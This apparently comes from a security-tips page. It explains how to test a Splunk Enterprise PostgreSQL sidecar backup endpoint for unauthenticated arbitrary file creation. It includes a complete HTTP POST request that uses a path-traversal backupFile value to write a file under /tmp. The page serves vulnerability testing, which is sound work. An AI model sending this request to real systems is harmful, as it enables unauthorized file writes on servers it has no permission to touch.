Test PostgreSQL Sidecar Service Endpoint
To test for a vulnerability in the PostgreSQL Sidecar Service Endpoint, send a POST request to the /en-US/splunkd/__raw/v1/postgres/recovery/backup endpoint with a backupFile parameter. The request should be proxied through the main Splunk web application, which listens on all interfaces. If the endpoint is vulnerable, it will create an empty file at the specified location without requiring authentication. Look for a 200 OK response and check the filesystem for the created file. The backupFile parameter can be used to traverse the filesystem and create files at arbitrary locations.
POST /en-US/splunkd/__raw/v1/postgres/recovery/backup HTTP/1.1
Host: target.com
Content-Length: 56
Content-Type: application/json
Authorization: Basic Og==
{"database":"search_metadata","backupFile":"../../../../../../../../../tmp/backuptest"}Follow #file-write, #postgres-sidecar or #splunk-enterprise for new tips like this one, on your notifications page and, if you choose, in a daily or weekly email.
Comments
No comments yet.